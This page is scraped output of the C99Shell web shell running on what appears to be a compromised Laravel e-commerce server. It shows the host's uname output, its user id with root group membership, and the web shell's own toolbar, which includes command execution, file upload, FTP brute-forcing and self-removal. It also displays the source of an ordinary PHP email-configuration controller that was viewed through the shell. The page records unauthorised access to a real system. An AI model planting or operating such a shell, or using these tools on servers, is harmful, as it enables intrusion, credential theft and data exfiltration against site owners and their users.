!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/   drwxr-xr-x
Free 23.64 GB of 117.98 GB (20.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EmailConfigurationController.php (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package EmailConfigurationController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 26-05-2021
 */
namespace App\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
App\Models\EmailConfiguration;
use 
Illuminate\Http\Request;
use 
Config;

class 
EmailConfigurationController extends Controller
{
    
/**
     * Index
     * @param Request $request
     * @return \Illuminate\Contracts\View\View|\Illuminate\Contracts\View\Factory|\Illuminate\Routing\Redirector|\Illuminate\Http\RedirectResponse
     */
    
public function index(Request $request)
    {
        if (
$request->isMethod('get')) {
            
$emailConfig     EmailConfiguration::getAll()->first();
            return 
$this->response($emailConfig);
        } else if (
$request->isMethod('post')) {
            if (isset(
$request->protocol) && in_array(strtolower($request->protocol), ['smtp''send mail'])) {
                
$request['protocol'] = strtolower($request->protocol);
            }
            
$validator EmailConfiguration::validation($request->all());
            if (
$validator->fails()) {
                return 
$this->unprocessableResponse($validator->messages());
            }

            
$request['status'] = $request->type == 'smtp' 'active' 'inactive';
            if (
$request->type == 'smtp') {
                
/* Start Checking SMTP */
                
Config::set([
                    
'mail.driver' => isset($request->protocol) ? $request->protocol '',
                    
'mail.host' => isset($request->smtp_host) ? $request->smtp_host '',
                    
'mail.port' => isset($request->smtp_port) ? $request->smtp_port '',
                    
'mail.from' => ['address' => isset($request->from_address) ? $request->from_address '',
                    
'name' => isset($request->from_name) ? $request->from_name ''],
                    
'mail.encryption' => isset($request->encryption) ? $request->encryption '',
                    
'mail.username' => isset($request->smtp_username) ? $request->smtp_username '',
                    
'mail.password' => isset($request->smtp_password) ? $request->smtp_password ''
                
]);
            }
            if ((new 
EmailConfiguration)->store($request->except('type'))) {
                return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Email Configuration')]));
            } else {
                return 
$this->okResponse([], __('No changes found.'));
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--